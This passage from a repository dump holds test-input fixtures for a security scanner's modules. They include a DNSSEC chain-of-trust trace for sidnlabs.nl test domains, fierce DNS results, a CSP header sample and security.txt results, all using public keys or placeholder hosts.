AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n\tTrusted key: sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 13 Pv+xZDOZj/d3mGLPppY5Z/fATmA7FMjTIxiqHUeHAzzJh4LqCZX35BT4UdnqtupebkHToavzaXyB5zjV0s7o3w== ;{id = 11261 (ksk), size = 256b}\nKey is now trusted!\n[T] wb.sidnlabs.nl. 3600 IN DS 44704 8 2 93406c21117f65fd24e7a689541a210e5bd093f3e9c6f7ce43cdb4867c7f6736\n;; Domain: wb.sidnlabs.nl.\n[T] wb.sidnlabs.nl. 60 IN DNSKEY 257 3 8 ;{id = 44704 (ksk), size = 2048b}\nwb.sidnlabs.nl. 60 IN DNSKEY 256 3 8 ;{id = 48378 (zsk), size = 2048b}\nChecking if signing key is trusted:\nNew key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t256 3 8 AwEAAegq4GK6fqxM8o78keKd+WvXhTNwrAMB26ifngEpJpdaBYkFDlOFxVr3ei7QaifPgObqc1wBhIzWPCe+c0ucP+pOGeR/NiUHGc7fAamjv5T0FtFlg0c9d9qjwq9mPI7H5zavTg2obaM4pyaAQFFEyhUuK1B85LiHdGozYCPAnrlSOGGN1dW664yaT9gebS6z69rFJSA16S9tndR+CXedC7XN+luKIm1cobn0S26OqRbeifxooHb7uU0NHnO/L5Dg28duevlTVDv6/fcv4igwBdCJcUYI8e5r7MtmSceWA6OLQqp35v0uoN6jTI9kLJBWVOMN+WZxafeIse29mWlavaM= ;{id = 48378 (zsk), size = 2048b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n\tTrusted key: sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 13 Pv+xZDOZj/d3mGLPppY5Z/fATmA7FMjTIxiqHUeHAzzJh4LqCZX35BT4UdnqtupebkHToavzaXyB5zjV0s7o3w== ;{id = 11261 (ksk), size = 256b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t257 3 8 AwEAAc1cmNHVLDEzIQNLgskgkzY0MYUKCq3h+2NBOToCLHiXIe1I91r/8H0RwUr/5mma4C13BnsY5c3U8eL2Z2CqwFH/B3D7/R4UqhUepU7nafcr0zfGTuUmx5Egcvht39zcqM8jHxdeyatBCUq8c7k3aOnXfANEgAJLCbSCDoy6ZUzWE4Y81bWHo6seCa+ciZ/hu7kuwDrNtdCJU+itFvMHx9xplHet/OlxyJB4K1cevXb2OXuRy+wsqX58u/KiGrY/ylQTYyzGQ1JINkj3eekyX4wOPiTRBmiiK9830YcZjQphRYTz7yhv3gzkp26SOgeo40xJuSGwn0eGZkM2nBRT2Bk= ;{id = 44704 (ksk), size = 2048b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t256 3 8 AwEAAegq4GK6fqxM8o78keKd+WvXhTNwrAMB26ifngEpJpdaBYkFDlOFxVr3ei7QaifPgObqc1wBhIzWPCe+c0ucP+pOGeR/NiUHGc7fAamjv5T0FtFlg0c9d9qjwq9mPI7H5zavTg2obaM4pyaAQFFEyhUuK1B85LiHdGozYCPAnrlSOGGN1dW664yaT9gebS6z69rFJSA16S9tndR+CXedC7XN+luKIm1cobn0S26OqRbeifxooHb7uU0NHnO/L5Dg28duevlTVDv6/fcv4igwBdCJcUYI8e5r7MtmSceWA6OLQqp35v0uoN6jTI9kLJBWVOMN+WZxafeIse29mWlavaM= ;{id = 48378 (zsk), size = 2048b}\nKey is now trusted!\n[T] bad-dnssec.wb.sidnlabs.nl. 3600 IN DS 27185 8 2 076c4b5de832ba6f1cb79f6ffb4fd737e58b8300f0c0038995cddd48d69849bc\n;; Domain: bad-dnssec.wb.sidnlabs.nl.\n[T] bad-dnssec.wb.sidnlabs.nl. 3600 IN DNSKEY 257 3 8 ;{id = 27185 (ksk), size = 1024b}\nChecking if signing key is trusted:\nNew key: bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAbfQELQlAATOLTYitQiK3MQQtmXh5DxiX4gHwfiioEgjfGn2UDi/MqszcmMWdQcAPPEqNVgO9Fyu/UT0hw6FtuSzs2odbVn4Gms37sYUUyY0ETNQfsmjAdRggouV6JroPUBzkqrV+cvXTdLWtMnK/yi4GYFjvccrkzOWnD2wYQ73 ;{id = 27185 (ksk), size = 1024b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n\tTrusted key: sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 13 Pv+xZDOZj/d3mGLPppY5Z/fATmA7FMjTIxiqHUeHAzzJh4LqCZX35BT4UdnqtupebkHToavzaXyB5zjV0s7o3w== ;{id = 11261 (ksk), size = 256b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t257 3 8 AwEAAc1cmNHVLDEzIQNLgskgkzY0MYUKCq3h+2NBOToCLHiXIe1I91r/8H0RwUr/5mma4C13BnsY5c3U8eL2Z2CqwFH/B3D7/R4UqhUepU7nafcr0zfGTuUmx5Egcvht39zcqM8jHxdeyatBCUq8c7k3aOnXfANEgAJLCbSCDoy6ZUzWE4Y81bWHo6seCa+ciZ/hu7kuwDrNtdCJU+itFvMHx9xplHet/OlxyJB4K1cevXb2OXuRy+wsqX58u/KiGrY/ylQTYyzGQ1JINkj3eekyX4wOPiTRBmiiK9830YcZjQphRYTz7yhv3gzkp26SOgeo40xJuSGwn0eGZkM2nBRT2Bk= ;{id = 44704 (ksk), size = 2048b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t256 3 8 AwEAAegq4GK6fqxM8o78keKd+WvXhTNwrAMB26ifngEpJpdaBYkFDlOFxVr3ei7QaifPgObqc1wBhIzWPCe+c0ucP+pOGeR/NiUHGc7fAamjv5T0FtFlg0c9d9qjwq9mPI7H5zavTg2obaM4pyaAQFFEyhUuK1B85LiHdGozYCPAnrlSOGGN1dW664yaT9gebS6z69rFJSA16S9tndR+CXedC7XN+luKIm1cobn0S26OqRbeifxooHb7uU0NHnO/L5Dg28duevlTVDv6/fcv4igwBdCJcUYI8e5r7MtmSceWA6OLQqp35v0uoN6jTI9kLJBWVOMN+WZxafeIse29mWlavaM= ;{id = 48378 (zsk), size = 2048b}\n\tTrusted key: bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAbfQELQlAATOLTYitQiK3MQQtmXh5DxiX4gHwfiioEgjfGn2UDi/MqszcmMWdQcAPPEqNVgO9Fyu/UT0hw6FtuSzs2odbVn4Gms37sYUUyY0ETNQfsmjAdRggouV6JroPUBzkqrV+cvXTdLWtMnK/yi4GYFjvccrkzOWnD2wYQ73 ;{id = 27185 (ksk), size = 1024b}\nKey is now trusted!\n[T] ok.bad-dnssec.wb.sidnlabs.nl. 3600 IN DS 31694 8 2 47781311f1183123c91b0fe481341403c999b4e21cd5ec3bb237cf4041a01a7f\n;; Domain: ok.bad-dnssec.wb.sidnlabs.nl.\n[T] ok.bad-dnssec.wb.sidnlabs.nl. 3600 IN DNSKEY 257 3 8 ;{id = 31694 (ksk), size = 1024b}\nChecking if signing key is trusted:\nNew key: ok.bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAc183fEMhqPov7rRYfBWkp8IvbX4ZKevyMuUhAxkO2a/xH/e7sjYtMgFVBHP3SqV5Fr0Yi7Oqo1eF5eX6qAyfjmSX8dqTyPlk4OHoKC6Ld6VvkpGFnL6T2uGCNgN5OmyEn1i3t60enxhiI+TgnYF5xnWDS7kFuyZeQJoBD13kEOR ;{id = 31694 (ksk), size = 1024b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n\tTrusted key: sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 13 Pv+xZDOZj/d3mGLPppY5Z/fATmA7FMjTIxiqHUeHAzzJh4LqCZX35BT4UdnqtupebkHToavzaXyB5zjV0s7o3w== ;{id = 11261 (ksk), size = 256b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t257 3 8 AwEAAc1cmNHVLDEzIQNLgskgkzY0MYUKCq3h+2NBOToCLHiXIe1I91r/8H0RwUr/5mma4C13BnsY5c3U8eL2Z2CqwFH/B3D7/R4UqhUepU7nafcr0zfGTuUmx5Egcvht39zcqM8jHxdeyatBCUq8c7k3aOnXfANEgAJLCbSCDoy6ZUzWE4Y81bWHo6seCa+ciZ/hu7kuwDrNtdCJU+itFvMHx9xplHet/OlxyJB4K1cevXb2OXuRy+wsqX58u/KiGrY/ylQTYyzGQ1JINkj3eekyX4wOPiTRBmiiK9830YcZjQphRYTz7yhv3gzkp26SOgeo40xJuSGwn0eGZkM2nBRT2Bk= ;{id = 44704 (ksk), size = 2048b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t256 3 8 AwEAAegq4GK6fqxM8o78keKd+WvXhTNwrAMB26ifngEpJpdaBYkFDlOFxVr3ei7QaifPgObqc1wBhIzWPCe+c0ucP+pOGeR/NiUHGc7fAamjv5T0FtFlg0c9d9qjwq9mPI7H5zavTg2obaM4pyaAQFFEyhUuK1B85LiHdGozYCPAnrlSOGGN1dW664yaT9gebS6z69rFJSA16S9tndR+CXedC7XN+luKIm1cobn0S26OqRbeifxooHb7uU0NHnO/L5Dg28duevlTVDv6/fcv4igwBdCJcUYI8e5r7MtmSceWA6OLQqp35v0uoN6jTI9kLJBWVOMN+WZxafeIse29mWlavaM= ;{id = 48378 (zsk), size = 2048b}\n\tTrusted key: bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAbfQELQlAATOLTYitQiK3MQQtmXh5DxiX4gHwfiioEgjfGn2UDi/MqszcmMWdQcAPPEqNVgO9Fyu/UT0hw6FtuSzs2odbVn4Gms37sYUUyY0ETNQfsmjAdRggouV6JroPUBzkqrV+cvXTdLWtMnK/yi4GYFjvccrkzOWnD2wYQ73 ;{id = 27185 (ksk), size = 1024b}\n\tTrusted key: ok.bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAc183fEMhqPov7rRYfBWkp8IvbX4ZKevyMuUhAxkO2a/xH/e7sjYtMgFVBHP3SqV5Fr0Yi7Oqo1eF5eX6qAyfjmSX8dqTyPlk4OHoKC6Ld6VvkpGFnL6T2uGCNgN5OmyEn1i3t60enxhiI+TgnYF5xnWDS7kFuyZeQJoBD13kEOR ;{id = 31694 (ksk), size = 1024b}\nKey is now trusted!\n[T] ok.ok.bad-dnssec.wb.sidnlabs.nl. 3600 IN DS 57125 8 2 647b9360e8db4111a78db90c1a66f2468a2a90e2f26654b0983eac51f9e6fbed\n;; Domain: ok.ok.bad-dnssec.wb.sidnlabs.nl.\n[T] ok.ok.bad-dnssec.wb.sidnlabs.nl. 3600 IN DNSKEY 257 3 8 ;{id = 57125 (ksk), size = 1024b}\nChecking if signing key is trusted:\nNew key: ok.ok.bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAcVXRw7VbUH9wYMQpCoMjeJoJT7xCr1XsETTJFIoXeXhAabe9qbtzERsLtsnjsHUIccmwCJh3XnBACR8XSN5UK9zQU+7wnpwqkMUjTMpPl8EYrMktebkjPyQs4XugkhsO+yjzri9hE52FSMqemy6tz7fgAg11gWgUvoCWMvFNmeR ;{id = 57125 (ksk), size = 1024b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t256 3 13 8w2Kzk5wKvHFpQzhZxuVey/zCdxgg1gVtRSoK+UiGVlAGtHKFYvJC6yLx3qrv3db3reYGCVqc2+XlCStE+x3yg== ;{id = 63436 (zsk), size = 256b}\n\tTrusted key: nl.\t3600\tIN\tDNSKEY\t257 3 13 aeDdFmc/JLPyva7Y4bS2SFbfWmxaiSrnqwgs+D1PKSPSruxIRH+6gHLhJ4XYIzrSaT3uk6rsx3c5jV8U4B8O+g== ;{id = 17153 (ksk), size = 256b}\n\tTrusted key: sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 13 Pv+xZDOZj/d3mGLPppY5Z/fATmA7FMjTIxiqHUeHAzzJh4LqCZX35BT4UdnqtupebkHToavzaXyB5zjV0s7o3w== ;{id = 11261 (ksk), size = 256b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t257 3 8 AwEAAc1cmNHVLDEzIQNLgskgkzY0MYUKCq3h+2NBOToCLHiXIe1I91r/8H0RwUr/5mma4C13BnsY5c3U8eL2Z2CqwFH/B3D7/R4UqhUepU7nafcr0zfGTuUmx5Egcvht39zcqM8jHxdeyatBCUq8c7k3aOnXfANEgAJLCbSCDoy6ZUzWE4Y81bWHo6seCa+ciZ/hu7kuwDrNtdCJU+itFvMHx9xplHet/OlxyJB4K1cevXb2OXuRy+wsqX58u/KiGrY/ylQTYyzGQ1JINkj3eekyX4wOPiTRBmiiK9830YcZjQphRYTz7yhv3gzkp26SOgeo40xJuSGwn0eGZkM2nBRT2Bk= ;{id = 44704 (ksk), size = 2048b}\n\tTrusted key: wb.sidnlabs.nl.\t60\tIN\tDNSKEY\t256 3 8 AwEAAegq4GK6fqxM8o78keKd+WvXhTNwrAMB26ifngEpJpdaBYkFDlOFxVr3ei7QaifPgObqc1wBhIzWPCe+c0ucP+pOGeR/NiUHGc7fAamjv5T0FtFlg0c9d9qjwq9mPI7H5zavTg2obaM4pyaAQFFEyhUuK1B85LiHdGozYCPAnrlSOGGN1dW664yaT9gebS6z69rFJSA16S9tndR+CXedC7XN+luKIm1cobn0S26OqRbeifxooHb7uU0NHnO/L5Dg28duevlTVDv6/fcv4igwBdCJcUYI8e5r7MtmSceWA6OLQqp35v0uoN6jTI9kLJBWVOMN+WZxafeIse29mWlavaM= ;{id = 48378 (zsk), size = 2048b}\n\tTrusted key: bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAbfQELQlAATOLTYitQiK3MQQtmXh5DxiX4gHwfiioEgjfGn2UDi/MqszcmMWdQcAPPEqNVgO9Fyu/UT0hw6FtuSzs2odbVn4Gms37sYUUyY0ETNQfsmjAdRggouV6JroPUBzkqrV+cvXTdLWtMnK/yi4GYFjvccrkzOWnD2wYQ73 ;{id = 27185 (ksk), size = 1024b}\n\tTrusted key: ok.bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAc183fEMhqPov7rRYfBWkp8IvbX4ZKevyMuUhAxkO2a/xH/e7sjYtMgFVBHP3SqV5Fr0Yi7Oqo1eF5eX6qAyfjmSX8dqTyPlk4OHoKC6Ld6VvkpGFnL6T2uGCNgN5OmyEn1i3t60enxhiI+TgnYF5xnWDS7kFuyZeQJoBD13kEOR ;{id = 31694 (ksk), size = 1024b}\n\tTrusted key: ok.ok.bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tDNSKEY\t257 3 8 AwEAAcVXRw7VbUH9wYMQpCoMjeJoJT7xCr1XsETTJFIoXeXhAabe9qbtzERsLtsnjsHUIccmwCJh3XnBACR8XSN5UK9zQU+7wnpwqkMUjTMpPl8EYrMktebkjPyQs4XugkhsO+yjzri9hE52FSMqemy6tz7fgAg11gWgUvoCWMvFNmeR ;{id = 57125 (ksk), size = 1024b}\nKey is now trusted!\n[T] ok.ok.ok.bad-dnssec.wb.sidnlabs.nl. 3600 IN DS 59504 8 2 61a5db924e0ba19a112bdeb23e5c73ff1f2d0b76feb77fa136a73507f58a3f6e\n;; Domain: ok.ok.ok.bad-dnssec.wb.sidnlabs.nl.\n[T] ok.ok.ok.bad-dnssec.wb.sidnlabs.nl. 3600 IN DNSKEY 257 3 8 ;{id = 59504 (ksk), size = 1024b}\n[T] ok.ok.ok.bad-dnssec.wb.sidnlabs.nl.\t3600\tIN\tA\t94.198.159.39\n;;[S] self sig OK; [B] bogus; [T] trusted; [U] unsigned\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/fierce-result-example.com.json",
    "content": "{\n  \"NS\": [\n    \"ns1.example.com.\",\n    \"ns2.example.com.\"\n  ],\n  \"SOA\": \"ns.example.com. (192.0.2.1)\",\n  \"subdomains\": {\n    \"www\": {\n      \"url\": \"www.example.com.\",\n      \"ip\": \"192.0.2.2\"\n    },\n    \"subdomain\": {\n      \"url\": \"subdomain.example.com.\",\n      \"ip\": \"192.0.2.3\"\n    },\n    \"ipv6\": {\n      \"url\": \"ipv6.example.com.\",\n      \"ip\": \"ff02::1\"\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/headers-check-input.json",
    "content": "{\n  \"header\": \"script-src 'self' https://css.example.nl https://piwik.example.nl https://api.tiles.mapbox.com https://api.mapbox.com;style-src 'self' https://css.example.nl https://api.tiles.mapbox.com;connect-src 'self' https://api.mapbox.com https://*.tiles.mapbox.com https://events.mapbox.com;frame-ancestors 'self';object-src 'none';default-src 'none';form-action 'self' https://customers.example.nl;img-src 'self' data: blob: https://*.tiles.mapbox.com https://css.example.nl;font-src 'self' https://css.example.nl;base-uri 'self'\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/security_txt_result_different_website.json",
    "content": "{\n  \".well-known/security.txt\": {\n    \"content\": \"This is the content\",\n    \"url\": \"https://www.example.com/.well-known/security.txt\",\n    \"ip\": \"192.0.2.1\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/security_txt_result_same_website.json",
    "content": "{\n  \".well-known/security.txt\": {\n    \"content\": \"This is the content\",\n    \"url\": \"https://example.com/.well-known/security.txt\",\n    \"ip\": \"192.0.2.0\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/snyk-result-findings.json",
